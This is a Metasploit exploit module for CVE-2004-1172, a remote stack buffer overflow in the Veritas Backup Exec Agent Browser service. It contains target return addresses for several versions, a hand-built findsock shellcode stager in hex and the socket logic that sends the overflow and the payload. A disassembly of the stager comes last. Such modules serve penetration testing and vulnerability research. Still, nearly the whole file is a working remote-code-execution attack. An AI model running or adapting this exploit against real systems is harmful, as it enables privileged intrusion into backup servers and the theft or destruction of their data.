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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Veritas Backup Exec Name Service Overflow',
'Description' => %q{
This module exploits a vulnerability in the Veritas Backup
Exec Agent Browser service. This vulnerability occurs when a
recv() call has a length value too long for the destination
stack buffer. By sending an agent name value of 63 bytes or
more, we can overwrite the return address of the recv
function. Since we only have ~60 bytes of contiguous space
for shellcode, a tiny findsock payload is sent which uses a
hardcoded IAT address for the recv() function. This payload
will then roll the stack back to the beginning of the page,
recv() the real shellcode into it, and jump to it. This
module has been tested against Veritas 9.1 SP0, 9.1 SP1, and
8.6.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1172'],
[ 'OSVDB', '12418'],
[ 'BID', '11974'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'MinNops' => 512,
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
'Targets' =>
[
[
'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101
{
'Platform' => 'win',
'Rets' => [ 0x0142ffa1, 0x401150FF ], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe
},
],
[
'Veritas BE 8.5',
{
'Platform' => 'win',
'Rets' => [ 0x014308b9, 0x401138FF ], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572
},
],
],
'DisclosureDate' => 'Dec 16 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6101)
])
end
def exploit
connect
print_status("Trying target #{target.name}...")
# This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)
# The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid
# nulls: [0x00401150 -> 0x401150FF]
stage_code = "\xfc" * 112
stage_read =
"\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74"+
"\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11"+
"\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75"
# Configure the IAT for the recv call
stage_read[29, 4] = [ target['Rets'][1] ].pack('V')
# Stuff it all into one request
stage_code[2, stage_read.length] = stage_read
# Create the registration request
req =
"\x02\x00\x32\x00\x20\x00" + stage_code + "\x00"+
"1.1.1.1.1.1\x00" + "\xeb\x81"
print_status("Sending the agent registration request of #{req.length} bytes...")
sock.put(req)
print_status("Sending the payload stage down the socket...")
sock.put(payload.encoded)
print_status("Waiting for the payload to execute...")
select(nil,nil,nil,2)
handler
disconnect
end
end
__END__
[ findsock stage ]
00000000 31F6 xor esi,esi
00000002 C1EC0C shr esp,0xc
00000005 C1E40C shl esp,0xc
00000008 89E7 mov edi,esp
0000000A 89FB mov ebx,edi
0000000C 6A01 push byte +0x1
0000000E 8B7424FE mov esi,[esp-0x2]
00000012 31D2 xor edx,edx
00000014 52 push edx
00000015 42 inc edx
00000016 C1E210 shl edx,0x10
00000019 52 push edx
0000001A 57 push edi
0000001B 56 push esi
0000001C B8FF501140 mov eax,0x401150ff
00000021 C1E808 shr eax,0x8
00000024 FF10 call near [eax]
00000026 85C0 test eax,eax
00000028 7907 jns 0x31
0000002A 89DC mov esp,ebx
0000002C 4E dec esi
0000002D 85F6 test esi,esi
0000002F 75E1 jnz 0x12
00000031 FFD7 call edi